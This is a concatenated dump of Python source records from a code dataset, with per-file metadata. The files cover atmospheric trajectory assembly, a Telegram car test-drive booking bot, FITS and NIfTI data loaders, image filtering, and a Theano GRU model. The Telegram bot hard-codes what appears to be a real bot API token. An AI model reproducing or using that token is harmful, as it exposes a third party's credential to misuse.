    #         print('stat ls ', k, traj.stat_ls[k])\n            #         self.statls_dict[k][it, ih] = list(traj.stat_ls[k].counter.values())\n\n            #     for k in list(traj.stat_gn.keys()):\n            #         self.stat2d_dict[k+'_no_below'][it, ih] = traj.stat_gn[k].no_below\n            #         print('stat gn ', k, traj.stat_gn[k])\n            #         self.statgn_dict[k][it, ih] = list(traj.stat_gn[k].counter.values())\n\n        # trying to free memory\n        del ls\n        del ng\n\n\nif __name__ == '__main__':\n\n    config = 'config_limassol.toml'\n    config = 'config_ps122.toml'\n    #dt = datetime.datetime.strptime(args.date, '%Y%m%d')\n    dt = datetime.datetime(2017,9,14)\n    dt = datetime.datetime(2019,10,5)\n    dt_range = (dt, dt + datetime.timedelta(hours=23))\n    ath = assemble_time_height(config_file=config)\n    ath.assemble(dt_range=dt_range)\n    ath.dump2netcdf(model_str='flex')\n", "sub_path": "trace_source/flexpart.py", "file_name": "flexpart.py", "file_ext": "py", "file_size_in_byte": 20021, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.insert", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 20, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 39, "usage_type": "call"}, {"api_name": "re.match", "line_number": 60, "usage_type": "call"}, {"api_name": "re.match", "line_number": 77, "usage_type": "call"}, {"api_name": "bcolz.cparams", "line_number": 111, "usage_type": "call"}, {"api_name": "bcolz.zeros", "line_number": 112, "usage_type": "call"}, {"api_name": "bcolz.zeros", "line_number": 114, "usage_type": "call"}, {"api_name": "bcolz.ctable", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 175, "usage_type": "call"}, {"api_name": "bcolz.cparams", "line_number": 178, "usage_type": "call"}, {"api_name": "bcolz.zeros", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 196, "usage_type": "call"}, {"api_name": "trace_source.land_sfc.named_geography", "line_number": 231, "usage_type": "call"}, {"api_name": "trace_source.land_sfc", "line_number": 231, "usage_type": "attribute"}, {"api_name": "trace_source.land_sfc.land_sfc", "line_number": 235, "usage_type": "call"}, {"api_name": "trace_source.land_sfc", "line_number": 235, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 240, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 257, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 295, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 303, "usage_type": "call"}, {"api_name": "trace_source.assemble_pattern", "line_number": 324, "usage_type": "attribute"}, {"api_name": "trace_source.time_list", "line_number": 338, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 344, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 346, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 346, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 361, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 363, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 365, "usage_type": "call"}, {"api_name": "trace_source.land_sfc.named_geography", "line_number": 369, "usage_type": "call"}, {"api_name": "trace_source.land_sfc", "line_number": 369, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 372, "usage_type": "call"}, {"api_name": "trace_source.land_sfc.land_sfc", "line_number": 376, "usage_type": "call"}, {"api_name": "trace_source.land_sfc", "line_number": 376, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 403, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 489, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 490, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 491, "usage_type": "call"}]}
+{"seq_id": "534203270", "text": "import telebot\nfrom telebot import types\n\nbot = telebot.TeleBot('1891118214:AAEPqgHluUvHj4_8TkAcr6WP4ywZrwM-sYw')\n\n\n\n@bot.message_handler(content_types=['text'])\n\ndef start(message):\n\tbot.send_message(message.from_user.id, 'Напишите Старт')\n\tbot.register_next_step_handler(message, get_city)\n\ndef get_city(message):\n\tif message.text == 'Старт':\n\t\tkeyboard_markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n\t\tcity1 = types.KeyboardButton('Москва')\n\t\tcity2 = types.KeyboardButton('Нижний Новгород')\n\t\tkeyboard_markup.add(city1, city2)\n\t\tbot.send_message(message.chat.id, 'Выберите город', reply_markup = keyboard_markup)\n\t\tbot.register_next_step_handler(message, get_center)\n\telse:\n\t\tbot.send_message(message.from_user.id, 'Напишите Старт')\n\ndef get_center(message):\n\tif message.text == 'Москва':\n\t\tkeyboard_markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n\t\tcenter1 = types.KeyboardButton('Авторитейл на МКАД 19км')\n\t\tcenter2 = types.KeyboardButton('Авторитэйл на Полярной 31')\n\t\tkeyboard_markup.add(center1, center2)\n\t\tbot.send_message(message.chat.id, 'Выберите дилерский центр', reply_markup = keyboard_markup)\n\t\tbot.register_next_step_handler(message, get_auto)\n\telse:\n\t\tkeyboard_markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n\t\tcenter3 = types.KeyboardButton('ТСС на Удмуртской')\n\t\tcenter4 = types.KeyboardButton('Проспект Ленина 88')\n\t\tkeyboard_markup.add(center3, center4)\n\t\tbot.send_message(message.chat.id, 'Выберите дилерский центр', reply_markup = keyboard_markup)\n\t\tbot.register_next_step_handler(message, get_auto)\n\ndef get_auto(message):\n\tif message.text == 'Авторитейл на МКАД 19км':\n\t\tcenter = 'Москва Авторитейл на МКАД 19км'\n\telif message.text == 'Авторитэйл на Полярной 31':\n\t\tcenter = 'Москва Авторитэйл на Полярной 31'\n\telif message.text == 'ТСС на Удмуртской':\n\t\tcenter = 'Нижний Новгород ТСС на Удмуртской'\n\telse:\n\t\tcenter = 'Нижний Новгород Проспект Ленина 88'\n\tkeyboard_markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n\tauto1 = types.KeyboardButton('Газель Next')\n\tauto2 = types.KeyboardButton('Газель Business')\n\tkeyboard_markup.add(auto1, auto2)\n\tbot.send_message(message.chat.id, 'Выберите доступную модель авто', reply_markup = keyboard_markup)\n\tbot.register_next_step_handler(message, get_name)\n\ndef get_name(message):\n\tif message.text == 'Газель Next':\n\t\tauto = 'Газель Next'\n\telse:\n\t\tauto = 'Газель Business'\n\tbot.send_message(message.chat.id, 'Пожалуйста, напишите ваше имя')\n\tbot.register_next_step_handler(message, get_name1)\n\ndef get_name1(message):\n\tbot.send_chat_action(message.from_user.id, 'typing')\n\tname = message.text\n\tbot.register_next_step_handler(message, name)\n\tbot.send_message(message.chat.id, 'Пожалуйста, напишите ваш номер телефона')\n\tbot.register_next_step_handler(message, get_phone)\n\ndef get_phone(message):\n\tbot.send_chat_action(message.from_user.id, 'typing')\n\tphone = message.text\n\tbot.register_next_step_handler(message, final)\n\ndef final(message):\n\tres = ' '.join ((center, auto, name, phone)) \n\tbot.send_message(message.chat.id, 'Спасибо! С Вами свяжется наш специалист в ближайшее время')\n\n\n\t\n\nbot.polling()\n\n\t", "sub_path": "gaz_testdrive_bot1111.py", "file_name": "gaz_testdrive_bot1111.py", "file_ext": "py", "file_size_in_byte": 3609, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "telebot.TeleBot", "line_number": 4, "usage_type": "call"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 16, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 16, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 17, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 17, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 18, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 18, "usage_type": "name"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 27, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 27, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 28, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 28, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 29, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 29, "usage_type": "name"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 34, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 34, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 35, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 35, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 36, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 36, "usage_type": "name"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 50, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 50, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 51, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 51, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 52, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 52, "usage_type": "name"}]}
+{"seq_id": "533713761", "text": "# Licensed under a 3-clause BSD style license - see LICENSE.rst\nfrom os.path import basename, splitext\n\nfrom glue.config import data_factory\nfrom glue.core import Data\nfrom glue.core.coordinates import coordinates_from_header\n\nfrom astropy.io import fits\n\nimport numpy as np\n\nfrom ..listener import CUBEVIZ_LAYOUT\nfrom ..layout import FLUX, ERROR, MASK\n\n\ndef is_manga_data_cube(filename, **kwargs):\n    hdulist = fits.open(filename)\n\n    primary = hdulist['PRIMARY'].header\n\n    if not primary.get('TELESCOP', '').startswith('SDSS 2.5-M'):\n        return False\n\n    if not primary.get('INSTRUME', '').startswith('MaNGA'):\n        return False\n\n    return True\n\n@data_factory('MaNGA data cube loader', is_manga_data_cube, priority=1200)\ndef read_manga_data_cube(filename):\n    hdulist = fits.open(filename)\n\n    flux = hdulist['FLUX']\n    var = hdulist['IVAR']\n    mask = hdulist['MASK']\n\n    label = \"MaNGA data cube: {}\".format(splitext(basename(filename))[0])\n    data = Data(label=label)\n\n    data.coords = coordinates_from_header(flux.header)\n    data.meta[CUBEVIZ_LAYOUT] = 'MANGA'\n\n    data.add_component(component=flux.data, label=FLUX)\n    data.add_component(component=var.data, label=ERROR)\n    data.add_component(component=mask.data, label=MASK)\n\n    return data\n", "sub_path": "cubeviz/data_factories/manga.py", "file_name": "manga.py", "file_ext": "py", "file_size_in_byte": 1273, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "astropy.io.fits.open", "line_number": 17, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 17, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 31, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 31, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 37, "usage_type": "call"}, {"api_name": "glue.core.Data", "line_number": 38, "usage_type": "call"}, {"api_name": "glue.core.coordinates.coordinates_from_header", "line_number": 40, "usage_type": "call"}, {"api_name": "listener.CUBEVIZ_LAYOUT", "line_number": 41, "usage_type": "name"}, {"api_name": "layout.FLUX", "line_number": 43, "usage_type": "name"}, {"api_name": "layout.ERROR", "line_number": 44, "usage_type": "name"}, {"api_name": "layout.MASK", "line_number": 45, "usage_type": "name"}, {"api_name": "glue.config.data_factory", "line_number": 29, "usage_type": "call"}]}
+{"seq_id": "141404462", "text": "'''\r\nCreated on 28 Nov 2017\r\n\r\n@author: marashid\r\n'''\r\nimport os, sys\r\nimport logging\r\n\r\ninput(\"started hello_pyinstaller, press any key to continue...\")\r\n\r\nimport testAway\r\ninput(\"imported testAway, press any key to continue...\")\r\n\r\n## in this module we use a MyFileHandler class in my_logging module in tools package, \r\n## this needs to be added to the sys.path for python to discover the module in order to import\r\n# path_to_tools_package = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../tools\"))\r\n'''\r\nHowever, while the above statement works fine in normal circumstances, if the program is run from a different location, such as with from a pyinstaller exe \r\nin a designated directory, it will look for ../tools/ directory relative to that location and the program will fails without much useful message. \r\nTo avoid this issue, a relative or absolute path to \"../tools\" should be given to the 'pathex=' list for pyinstaller to look to resolve the import. \r\nAnother useful method is to check if code is running from a bundle using following technique\r\n'''\r\nif getattr(sys, 'frozen', False):    # running in a pyinstaller bundle, so\r\n    bundle_dir = sys._MEIPASS\r\n    print(\"bundle_dir: \" + bundle_dir)\r\nelse: # running live from the python module\r\n    path_to_tools_package = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../tools\"))\r\n#     print(path_to_tools_package)\r\n    sys.path.append(path_to_tools_package)\r\n\r\nfrom my_logging import MyFileHandler\r\n  \r\nmy_hanlder = MyFileHandler()\r\nlogging.basicConfig(filename=my_hanlder.baseFilename, level=logging.DEBUG,\r\n                        format='%(asctime)s %(module)s.%(funcName)s line:%(lineno)s: %(levelname)-8s [%(process)d] %(message)s')\r\n      \r\nlogging.debug('Program started')\r\nlogging.error('calling foreign module...')\r\ntestAway.do_something4()\r\nlogging.warning('Program finished')\r\n  \r\n  \r\nname = input(\"Please say your name: \")\r\nlogging.info(\"hello {}, nice to meet you!\".format(name))\r\ninput(\"press any key to exit...\")", "sub_path": "Python_Exercise/pythonpractice/hello_pyinstaller.py", "file_name": "hello_pyinstaller.py", "file_ext": "py", "file_size_in_byte": 2012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys._MEIPASS", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "my_logging.MyFileHandler", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 34, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 38, "usage_type": "call"}, {"api_name": "testAway.do_something4", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}]}
+{"seq_id": "559649773", "text": "import os\r\nimport face_recognition_models\r\nfrom PIL import Image\r\nfrom PIL import ImageFile\r\nimport threading\r\n\r\nImageFile.LOAD_TRUNCATED_IMAGES = True\r\n\r\n\r\ndef process_img(path, new_path):\r\n    dirs = os.listdir(path)\r\n    for pic_dir in dirs:\r\n        print(pic_dir)\r\n        dir_path = os.path.join(path, pic_dir)\r\n        pics = os.listdir(dir_path)\r\n        for pic in pics:\r\n            pic_path = os.path.join(dir_path, pic)\r\n            image = face_recognition_models.load_image_file(pic_path)\r\n            face_locations = face_recognition_models.face_locations(image)\r\n            if len(face_locations) == 0:\r\n                continue\r\n            img = Image.open(pic_path)\r\n            new_pic_path = os.path.join(new_path, pic_dir)\r\n            if not os.path.exists(new_pic_path):\r\n                os.makedirs(new_pic_path)\r\n            if len(img.split()) == 4:\r\n                # 利用split和merge将通道从四个转换为三个\r\n                r, g, b, a = img.split()\r\n                toimg = Image.merge(\"RGB\", (r, g, b))\r\n                toimg.save(new_pic_path + '\\\\' + pic)\r\n            else:\r\n                try:\r\n                    img.save(new_pic_path + '\\\\' + pic)\r\n                except:\r\n                    continue\r\n        print('Finish......!')\r\n\r\n\r\ndef lock_test(path, new_path):\r\n    mu = threading.Lock()\r\n    if mu.acquire(True):\r\n        process_img(path, new_path)\r\n        mu.release()\r\n\r\n\r\nif __name__ == '__main__':\r\n    paths = [r'E:\\weather_test\\BingImage']\r\n    new_paths = [r'E:\\weather_test\\BingImage_1']\r\n    for i in range(len(paths)):\r\n        my_thread = threading.Thread(target=lock_test, args=(paths[i], new_paths[i]))\r\n        my_thread.start()\r\n", "sub_path": "facecrawl/starexe.py", "file_name": "starexe.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PIL.ImageFile.LOAD_TRUNCATED_IMAGES", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PIL.ImageFile", "line_number": 7, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "face_recognition_models.load_image_file", "line_number": 18, "usage_type": "call"}, {"api_name": "face_recognition_models.face_locations", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 22, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.Image.merge", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 29, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 40, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 50, "usage_type": "call"}]}
+{"seq_id": "516729814", "text": "from datetime import date, timedelta\n\ndef meetup_day(year, month, week_day, occurrence):\n    days_of_week= ['Monday',\n                   'Tuesday',\n                   'Wednesday',\n                   'Thursday',\n                   'Friday',\n                   'Saturday',\n                   'Sunday']\n    occurrences = ['1st', '2nd', '3rd', '4th', 'last']\n    the_day = date(year, month, 1)\n\n    # day of week\n    while the_day.weekday() != days_of_week.index(week_day):\n        the_day += timedelta(days = 1)\n\n    # week in month\n    if occurrence == 'teenth':\n        while the_day.day < 13:\n            the_day += timedelta(weeks = 1)\n    else:\n        the_day += timedelta(weeks = occurrences.index(occurrence))\n        while the_day.month != month: # if overshot\n            the_day -= timedelta(weeks = 1)\n    return the_day\n", "sub_path": "all_data/exercism_data/python/meetup/2c7421f7c7414ad499b15128f2409cdc.py", "file_name": "2c7421f7c7414ad499b15128f2409cdc.py", "file_ext": "py", "file_size_in_byte": 830, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "datetime.date", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 25, "usage_type": "call"}]}
+{"seq_id": "412531120", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Nov 24 16:20:53 2018\r\n\r\n@author: Sony\r\n\"\"\"\r\n\r\nimport os\r\nimport numpy as np\r\nfrom nilearn import plotting, image\r\nfrom skimage import data, io, filters, util, color\r\ncurDir = str(os.getcwd()) + '\\\\'\r\nos.chdir('C:\\\\')\r\nxCrop = [30, 122, 175, 285, 345, 440]\r\nyCrop = [50, 138, 50, 140, 45, 155]\r\n\r\ndef nii2jpg(inFile=None, outFile=None, cutCoords = (3, 3, 3), displayMode = 'ortho'):\r\n    epiImage = image.mean_img(inFile)\r\n    epiImage = image.smooth_img(epiImage, 'fast');\r\n    plotting.plot_epi(epi_img=epiImage, cut_coords=cutCoords, output_file=outFile, display_mode=displayMode, annotate=False, draw_cross=False)\r\n\r\ndef splitAndConvert(inFile=None, outDir='', fileNumber='0', gray=True, xCrop=None, yCrop=None):\r\n    brainImage = io.imread(inFile)\r\n    if (gray):  \r\n        brainImage = color.rgb2gray(brainImage)\r\n        frontalImage = brainImage[yCrop[0]:yCrop[1], xCrop[0]:xCrop[1]]\r\n        sideImage = brainImage[yCrop[2]:yCrop[3], xCrop[2]:xCrop[3]]\r\n        topImage = brainImage[yCrop[4]:yCrop[5], xCrop[4]:xCrop[5]]\r\n        np.savetxt(outDir + 'topImageGray' + fileNumber + '.csv', topImage, delimiter=',')\r\n        np.savetxt(outDir + 'sideImageGray' + fileNumber + '.csv', sideImage, delimiter=',')\r\n        np.savetxt(outDir + 'frontalImageGray' + fileNumber + '.csv', frontalImage, delimiter=',')\r\n    else:\r\n        frontalImage = brainImage[yCrop[0]:yCrop[1], xCrop[0]:xCrop[1]]\r\n        sideImage = brainImage[yCrop[2]:yCrop[3], xCrop[2]:xCrop[3]]\r\n        topImage = brainImage[yCrop[4]:yCrop[5], xCrop[4]:xCrop[5]]\r\n        np.savetxt(outDir + 'topImageR' + fileNumber + '.csv', topImage[:,:,0], delimiter=',')\r\n        np.savetxt(outDir + 'topImageG' + fileNumber + '.csv', topImage[:,:,1], delimiter=',')\r\n        np.savetxt(outDir + 'topImageB' + fileNumber + '.csv', topImage[:,:,2], delimiter=',')\r\n        np.savetxt(outDir + 'sideImageR' + fileNumber + '.csv', sideImage[:,:,0], delimiter=',')\r\n        np.savetxt(outDir + 'sideImageG' + fileNumber + '.csv', sideImage[:,:,1], delimiter=',')\r\n        np.savetxt(outDir + 'sideImageB' + fileNumber + '.csv', sideImage[:,:,2], delimiter=',')\r\n        np.savetxt(outDir + 'frontalImageR' + fileNumber + '.csv', frontalImage[:,:,0], delimiter=',')\r\n        np.savetxt(outDir + 'frontalImageG' + fileNumber + '.csv', frontalImage[:,:,1], delimiter=',')\r\n        np.savetxt(outDir + 'frontalImageB' + fileNumber + '.csv', frontalImage[:,:,2], delimiter=',')\r\n       \r\n\r\n#if __name__ == '__main__':\r\n#    if (os.path.isfile(niiFile)):\r\n#        nii2jpg(inFile=niiFile, outFile='{}brain.jpg'.format(curDir))\r\n#        splitAndConvert(inFile='{}brain.jpg'.format(curDir), outDir=curDir, fileNumber='', gray=True, xCrop=xCrop, yCrop=yCrop)\r\n#    else:\r\n#        print ('Incorrect file path')\r\n    \r\n    \r\n#xCrop = [30, 122, 175, 285, 345, 440]\r\n#yCrop = [50, 138, 50, 140, 45, 155]", "sub_path": "process_nii.py", "file_name": "process_nii.py", "file_ext": "py", "file_size_in_byte": 2898, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.getcwd", "line_number": 12, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 13, "usage_type": "call"}, {"api_name": "nilearn.image.mean_img", "line_number": 18, "usage_type": "call"}, {"api_name": "nilearn.image", "line_number": 18, "usage_type": "name"}, {"api_name": "nilearn.image.smooth_img", "line_number": 19, "usage_type": "call"}, {"api_name": "nilearn.image", "line_number": 19, "usage_type": "name"}, {"api_name": "nilearn.plotting.plot_epi", "line_number": 20, "usage_type": "call"}, {"api_name": "nilearn.plotting", "line_number": 20, "usage_type": "name"}, {"api_name": "skimage.io.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 23, "usage_type": "name"}, {"api_name": "skimage.color.rgb2gray", "line_number": 25, "usage_type": "call"}, {"api_name": "skimage.color", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.savetxt", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 44, "usage_type": "call"}]}
+{"seq_id": "43275900", "text": "import numpy as np\nfrom DeepLibphys.utils.functions.common import segment_signal, ModelType\nfrom abc import ABCMeta, abstractmethod\nfrom DeepLibphys.utils.functions.signal2model import *\nimport time\nimport sys\nimport math\nimport os\nimport theano\nimport theano.tensor as T\nimport matplotlib.pyplot as plt\n\nGRU_DATA_DIRECTORY = \"/media/belo/Storage/owncloud/Research Projects/DeepLibphys/Current Trained/\"\n\n\nclass LibphysGRU:\n    def __init__(self, signal2model, model_type, parameters):\n\n            # Assign instance variables\n            self.model_type = model_type\n            if signal2model is not None:\n                self.signal2model = signal2model\n\n                # Theano: Created GRU variables\n                E, U, W, V, b, c = parameters\n\n                # SGD / rmsprop: Initialize parameters\n\n                # Theano: Created shared variables\n                self.E = theano.shared(name='E', value=E.astype(theano.config.floatX))\n                self.U = theano.shared(name='U', value=U.astype(theano.config.floatX))\n                self.W = theano.shared(name='W', value=W.astype(theano.config.floatX))\n                self.V = theano.shared(name='V', value=V.astype(theano.config.floatX))\n                self.b = theano.shared(name='b', value=b.astype(theano.config.floatX))\n                self.c = theano.shared(name='c', value=c.astype(theano.config.floatX))\n\n                # SGD / rmsprop: Initialize parameters\n                self.mE = theano.shared(name='mE', value=np.zeros(E.shape).astype(theano.config.floatX))\n                self.mU = theano.shared(name='mU', value=np.zeros(U.shape).astype(theano.config.floatX))\n                self.mV = theano.shared(name='mV', value=np.zeros(V.shape).astype(theano.config.floatX))\n                self.mW = theano.shared(name='mW', value=np.zeros(W.shape).astype(theano.config.floatX))\n                self.mb = theano.shared(name='mb', value=np.zeros(b.shape).astype(theano.config.floatX))\n                self.mc = theano.shared(name='mc', value=np.zeros(c.shape).astype(theano.config.floatX))\n            else:\n                self.signal2model = Signal2Model()\n\n                self.E, self.U, self.W, self.V, self.b, self.c = [], [], [], [], [], []\n\n\n    def calculate_gradients(self, cost, parameters):\n        return [T.grad(cost, parameter) for parameter in parameters]\n\n    def get_m(self, decay, m, d):\n        return decay * m + (1 - decay) * d ** 2\n\n    def update_RMSPROP(self, cost, parameters, derivatives, x, y):\n        learning_rate = T.scalar('learning_rate')\n        decay = T.scalar('decay')\n\n        [E, V, U, W, b, c] = parameters\n        [dE, dV, dU, dW, db, dc] = derivatives\n\n        mE = self.get_m(decay, self.mE, dE)\n        mU = self.get_m(decay, self.mU, dU)\n        mW = self.get_m(decay, self.mW, dW)\n        mV = self.get_m(decay, self.mV, dV)\n        mb = self.get_m(decay, self.mb, db)\n        mc = self.get_m(decay, self.mc, dc)\n\n        self.sgd_step = theano.function(\n            [x, y, learning_rate, theano.In(decay, value=0.95)],\n            [],\n            updates=[(E, E - learning_rate * dE / T.sqrt(mE + 1e-6)),\n                     (U, U - learning_rate * dU / T.sqrt(mU + 1e-6)),\n                     (W, W - learning_rate * dW / T.sqrt(mW + 1e-6)),\n                     (V, V - learning_rate * dV / T.sqrt(mV + 1e-6)),\n                     (b, b - learning_rate * db / T.sqrt(mb + 1e-6)),\n                     (c, c - learning_rate * dc / T.sqrt(mc + 1e-6)),\n                     (self.mE, mE),\n                     (self.mU, mU),\n                     (self.mW, mW),\n                     (self.mV, mV),\n                     (self.mb, mb),\n                     (self.mc, mc)\n                     ], allow_input_downcast=True)\n\n    def train_block(self, signals, signal2model=None, signal_indexes=None, n_for_each=12, overlap=0.33, random_training=True,\n                    start_index=0, track_loss=False, loss_interval=1, train_ratio=0.33):\n        \"\"\"\n        This method embraces several datasets (or one) according to a number of records for each\n\n        :param signals: - list - a list containing two int vectors:\n                                    signal - input vector X, used for the input;\n\n        :param signal2model: - Signal2Model object - object containing the information about the model, for more info\n                                check Biosignals.utils.functions.signal2model\n\n        :param signal_indexes: - list - a list containing the indexes of the \"signals\" variable to be trained.\n                                        If None is given, all signals will be used.\n\n        :param n_for_each: - int - number of windows from each signal to be inserted in the model training\n\n        :param overlap: - float - value in the interval [0,1] that corresponds to the overlapping ratio of windows\n\n        :param random_training: - boolean - value that if True random windows will be inserted in the training\n\n        :param start_index: - int - value from which the windows will be selected\n\n        :param track_loss: - boolean - value to plot loss as the model is trained\n\n        :return: trained 